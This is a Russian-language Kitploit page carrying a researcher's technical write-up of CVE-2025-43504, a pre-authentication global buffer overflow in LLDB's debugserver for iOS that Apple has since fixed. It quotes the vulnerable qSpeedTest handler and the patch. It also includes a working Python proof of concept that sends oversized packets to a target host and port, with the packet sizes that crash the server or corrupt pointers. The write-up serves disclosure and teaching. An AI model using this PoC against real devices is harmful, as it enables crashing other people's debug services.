Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-43504 — Технический разбор CVE-2025-43504, удалённого глобального переполнения буфера до аутентификации в debugserver от LLDB для iOS, с кодом PoC и анализом эксплуатации. | Kitploit
Инструменты/GitHubGitHub/calysteon/cve-2025-43504
Безопасность iOSАнализ уязвимостейЭксплуатацияОтладчикиСтатьи и ИсследованияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubcalysteon/cve-2025-43504

CVE-2025-43504

Технический разбор CVE-2025-43504, удалённого глобального переполнения буфера до аутентификации в debugserver от LLDB для iOS, с кодом PoC и анализом эксплуатации.

Репозиторий
59 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Когда хорошие /bin-файлы становятся плохими: удаленное переполнение буфера без аутентификации в debugserver из LLDB


Введение

В детстве я всегда любил рыться в корзинах с DVD в местном Walmart. Я замечал, что многие одни и те же фильмы лежат сверху, но если как следует покопаться, можно найти более интересные и нишевые названия.

Когда программа переполняет буфер, вы, по сути, залезаете рукой в её корзину уценённых товаров. В зависимости от того, насколько глубоко вы залезете, DVD — или, в данном случае, перезаписанные структуры в памяти — могут измениться.

Сегодняшний уценённый /bin — это CVE-2025-43504: удаленное переполнение глобального буфера без аутентификации, найденное мной в debugserver из LLDB.

Как мы до этого дошли?

Во время разработки приложений разработчикам часто требуется отлаживать своё приложение на физическом устройстве iOS. Для этого Xcode монтирует образ разработчика (Developer Disk Image) на целевой iPhone, а затем устанавливает с ним пару.

После установки пары хост macOS может взаимодействовать с клиентом iOS с помощью debugserver, установленного на клиенте. Теперь любой клиент, способный установить GDB-удаленную сессию с устройства, может обратиться к обработчику и переполнить уязвимый буфер.

debugserver
qSpeedTest

Давайте посмотрим на страницу безопасности Xcode 26.1, чтобы лучше понять, как Apple классифицировала CVE-2025-43504:

CVE-2025-43504

Из-за современных программных средств смягчения Apple считает переполнения буфера в первую очередь проблемой отказа в обслуживании, а не примитивом повреждения. Как мы сегодня увидим, в целом это верно: атакующему придется преодолеть несколько препятствий и, скорее всего, объединить эту проблему с другой ошибкой для достижения произвольного выполнения кода.

Маленький шаг для Pwn, гигантский скачок для Pwn-kind

Если вы хотите поэкспериментировать с исправленной версией debugserver, используйте следующий коммит или любой коммит до ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de:

root@kitploit:~
git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c

Вам понадобится отладчик побольше

До исправления в RNBRemote.cpp любой удаленный пользователь, который мог подключиться к debugserver устройства iOS, мог отправить предварительно не аутентифицированный пакет qSpeedTest в RNBRemote::HandlePacket_qSpeedTest и повредить соседние структуры в сегменте глобальных данных debugserver.

Однако есть важное замечание: мы управляем только длиной повреждения. Содержимое полезной нагрузки фиксировано и представляет собой поток символов 'a'. Хотя студенты могут радоваться стабильно высоким оценкам, практическая полезность этого переполнения сильно ограничена тем фактом, что мы не можем контролировать фактические записываемые байты — только то, как далеко заходит поток символов 'a'.

Теперь давайте заглянем внутрь RNBRemote::HandlePacket_qSpeedTest, чтобы точно понять, что происходит:

root@kitploit:~
rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
  p += strlen("qSpeedTest:response_size:");
  char *end = NULL;
  errno = 0;
  // Мы управляем длиной response_size
  uint64_t response_size = ::strtoul(p, &end, 16); 
  if (errno != 0)
    return HandlePacket_ILLFORMED(
        __FILE__, __LINE__, p,
        "Didn't find response_size value at right offset");
  else if (*end == ';') {
    static char g_data[4 * 1024 * 1024 + 16];
    strcpy(g_data, "data:");
    // Переполнение g_data символами 'a' происходит здесь
    memset(g_data + 5, 'a', response_size);
    g_data[response_size + 5] = '\0';
    return SendPacket(g_data);
  } else {
    return SendErrorPacket("E79");
  }
}

Роль RNBRemote::HandlePacket_qSpeedTest() — обрабатывать входящие пакеты qSpeedTest:response_size:<hex>; без требования аутентификации от удаленного пользователя, который может взаимодействовать с бинарным файлом debugserver на устройстве iOS.

Однако, как только удаленный пользователь может отправить пакет qSpeedTest:response_size:<hex>; на debugserver, в debugserver не происходит никаких проверок аутентификации перед обработкой предоставленного пользователем response_size. Поэтому любой пользователь, который может взаимодействовать с устройством iOS, на котором смонтирован образ разработчика, может переполнить debugserver с помощью пакета qSpeedTest:response_size:<hex>;.

Просто плыви, плыви, плыви

Теперь, когда мы добрались до уязвимой функции RNBRemote::HandlePacket_qSpeedTest(), давайте точно рассмотрим, как происходит переполнение. Сначала из пакета qSpeedTest:response_size:<hex>; извлекается указанный пользователем размер <hex> и сохраняется в переменной response_size:

root@kitploit:~
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);

Если синтаксический анализ успешен и следующим символом является точка с запятой, инициализируется локальный статический буфер размером 4 МиБ + 16 байт g_data и заполняется заголовком ASCII "data:":

root@kitploit:~
if (errno != 0)
  return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
                                "Didn't find response_size value at right offset");
else if (*end == ';') {
  static char g_data[4 * 1024 * 1024 + 16];
  strcpy(g_data, "data:");

Ой, я снова это сделала

Собирая всё вместе, memset затем заполняет статический буфер g_data размером 4 МиБ + 16 байт символами 'a', используя указанное пользователем значение response_size как количество символов 'a'.

root@kitploit:~
  // Переполнение g_data символами 'a' происходит здесь
  memset(g_data + 5, 'a', response_size);
  g_data[response_size + 5] = '\0';

Поэтому каждый раз, когда удаленный клиент LLDB отправляет пакет qSpeedTest:response_size:<hex>; с response_size, превышающим размер буфера 4 МиБ + 16 байт, происходит переполнение буфера и повреждаются соседние глобальные переменные, хранящиеся в сегменте глобальных данных (.bss) debugserver.

Когда хорошие /bin-файлы становятся плохими

Теперь, когда мы понимаем архитектуру, стоящую за переполнением, давайте погрузимся в фактические механизмы уязвимости. Для начала используем следующую программу на Python, чтобы исследовать примитивы повреждения, получаемые через переполнение g_data:

root@kitploit:~
import argparse, socket

def frame(payload: bytes) -> bytes:
    return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))

def send_one(host: str, port: int, resp_hex: str):
    payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
    pkt = frame(payload)
    s = socket.create_connection((host, port), timeout=5.0)
    s.settimeout(1.5)
    try:
        # отправка oversized qSpeedTest
        s.sendall(pkt)
        try:
            _ = s.recv(1)  # ACK (best effort)
        except Exception:
            pass

        # Небольшой дополнительный толчок для проверки использования указателя
        try:
            s.sendall(frame(b"?"))
            _ = s.recv(1)
        except Exception:
            pass

    finally:
        try: s.close()
        except Exception: pass

def main():
    ap = argparse.ArgumentParser(description="Отправка одного пакета qSpeedTest с выбранным response_size")
    ap.add_argument("--host", default="127.0.0.1")
    ap.add_argument("--port", type=int, default=1234)
    ap.add_argument("--size", required=True,
                    help="Шестнадцатеричная строка для response_size (без префикса 0x), например 40100a или 500000")
    args = ap.parse_args()

    print(f"[i] Отправка qSpeedTest:response_size:0x{args.size} на {args.host}:{args.port}")
    send_one(args.host, args.port, args.size)
    print("[i] Готово. Если debugserver упал, проверьте лог на наличие SIGSEGV/SIGBUS и адреса ошибки.")

if __name__ == "__main__":
    main()

response_size 0x4004AB: Нет краха

Запустив debugserver, мы выполняем следующую команду python3 с response_size равным 4004AB:

root@kitploit:~
python3 poc.py --host 127.0.0.1 --port 1234 --size 4004AB

Мы замечаем, что debugserver не падает и возвращается как обычно:

Нет краха

Хотя технически мы вышли за границы, g_data завершается нулевым байтом \0, поэтому соседний указатель на функцию логирования g_log_callback перезаписывается только нулевым байтом, оставляя весь указатель равным NULL.

response_size 0x4004AC - 0x40052B: Первая ошибка шины

Запустив debugserver, мы выполняем следующую команду python3 с response_size равным 0x4004AC:

root@kitploit:~
python3 poc.py --host 127.0.0.1 --port 1234 --size 0x4004AC

Вот это да!

Первая ошибка шины

Добавив ещё один байт, мы вышли за пределы нулевого хвоста и в итоге разыменовали соседний указатель g_log_callback со значением 0x61, что привело к краху. Теперь давайте последовательно увеличивать параметр --size на единицу и посмотрим, что произойдёт:

Таймлапс переполнения

Как мы видим, теперь мы управляем значением g_log_callback. Ну, частично: мы действительно управляем только тем, сколько байт в g_log_callback будет равно 0x61.

Мы можем увидеть это в _DNBLogVAPrintf:

root@kitploit:~
static inline void _DNBLogVAPrintf(uint32_t flags, const char *format,
                                   va_list args) {
  static std::recursive_mutex g_LogThreadedMutex;
  std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);

  if (g_log_callback)
    g_log_callback(g_log_baton, flags, format, args);
}

Поскольку g_log_callback не равен NULL, мьютекс блокируется и происходит вызов нашего повреждённого указателя, что приводит к краху. Теперь, начиная с response_size равного 0x4004B3, мы перестаём видеть какие-либо реальные изменения адреса краха или соответствующего стекового следа до тех пор, пока не будет добавлено смещение 0x7F к response_size. Логически это имеет смысл: как только указатель g_log_callback становится повреждённым, любые последующие повреждения других структур логирования становятся нерелевантными из-за первоначального краха при разыменовании g_log_callback.

Интересно, что в производственном релизе macOS до исправления мне удалось использовать этот частичный контроль указателя для перезаписи различных указателей пользовательского пространства в памяти:

root@kitploit:~
0x0000000105006169
0x0000000103006169
0x0000000a0a006169
0x00000009d8006169
0x0000000103006169
0x0000000734006169
0x0000000100006169

По какой-то причине последний байт каждого адреса всегда увеличивался на 0x8 байт. Однако, если бы мы смогли решить проблему выравнивания, создаваемую завершающими байтами 0x6169, и каким-то образом смогли бы предсказать и контролировать данные, разыменовываемые перезаписанным указателем, теоретически мы могли бы перенаправить поток управления и в конечном итоге получить выполнение кода.

response_size 0x40052C - 0x402C62: Ошибка abort()

Мы кратко обсудили блокировку мьютекса перед разыменованием повреждённого указателя g_log_callback. Теперь, при response_size равном 0x40052C, сам мьютекс становится повреждённым:

Ошибка abort()

Мы замечаем, что проблема возникла, когда _DNBLogVAPrintf выполнила конструкцию lock_guard:

root@kitploit:~
std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);

Судя по стековому следу, мы видим, что lock_guard даёт сбой при вызове __m_.lock:

root@kitploit:~
    31│   _LIBCPP_HIDE_FROM_ABI explicit lock_guard(mutex_type& __m) _LIBCPP_THREAD_SAFETY_ANNOTATION(acquire_capability(__m))
    32│       : __m_(__m) {
    33│     __m_.lock();                                                                                
      │          ▲
    34│   }
    35│

Я — функция, играющая роль функции, замаскированной под другую функцию

Изучая дальше, давайте посмотрим на определение функции std::recursive_mutex:

root@kitploit:~
void recursive_mutex::lock() {
  int ec = __libcpp_recursive_mutex_lock(&__m_);
  if (ec)
    std::__throw_system_error(ec, "recursive_mutex lock failed");
}

Похоже, это обёртка для __libcpp_recursive_mutex_lock:

root@kitploit:~
inline _LIBCPP_HIDE_FROM_ABI _LIBCPP_NO_THREAD_SAFETY_ANALYSIS int
__libcpp_recursive_mutex_lock(__libcpp_recursive_mutex_t* __m) {
  return pthread_mutex_lock(__m);
}

Которая, в свою очередь, является обёрткой для pthread_mutex_lock:

root@kitploit:~
PTHREAD_NOEXPORT_VARIANT
int
pthread_mutex_lock(pthread_mutex_t *mutex)
{
	return _pthread_mutex_lock(mutex, false);
}

Которая является ещё одной обёрткой для _pthread_mutex_lock)... Но нам не нужно заходить так далеко.

Поскольку указатель pthread_mutex_t повреждён нашим переполнением, pthread_mutex_lock выбрасывает std::system_error("recursive_mutex lock failed"), и программа затем вызывает abort() и завершается.

Из-за аварийного завершения программы эксплуатация с response_size в диапазоне от 0x40052C до 0x402C62 значительно усложняется, поскольку мы повреждаем примитив синхронизации с учётом дополнительных проверок, выполняемых macOS.

response_size 0x402C63 и далее: Последняя ошибка шины

Теперь, когда мы используем response_size равный 0x402C63 или больше, процессор даёт сбой в RNBRemote::HandlePacket_qSpeedTest, как только memset пересекает границу в какую-либо защитную страницу или неотображённую область, размещённую ядром после сегмента .bss в памяти:

Последняя ошибка шины

Этот последний вариант переполнения не так интересен, так как нет прямого способа управлять выполнением программы.

Просто исправьте это (исправьте)

Теперь, когда мы рассмотрели саму проблему, давайте посмотрим, как Apple исправила её:

Патч

Согласно описанию патча:

Изменить это выделение на кучу и установить максимальный размер, который можно тестировать (пока 4 МБ).

Мы видим два основных изменения:

  1. Выделение происходит в куче, а не в сегменте глобальных данных (.bss) debugserver.
  2. Наложено ограничение максимального размера в 4 МБ на выделение, тогда как ранее никаких проверок размера не выполнялось.

Прощайте и спасибо за рыбу

Учитывая обширную закрытую экосистему, лежащую в основе программного обеспечения и систем Apple, всегда непросто надёжно обнаруживать и понимать дефекты программного обеспечения.

Однако существуют зависимости с открытым исходным кодом, на которые полагается Apple, и если вы сможете найти проблему в одной из них, есть вероятность, что это может повлиять на последующие компоненты.

Удачи в поиске и не забудьте ответственно раскрывать любые найденные вами проблемы 😉

Скачать инструмент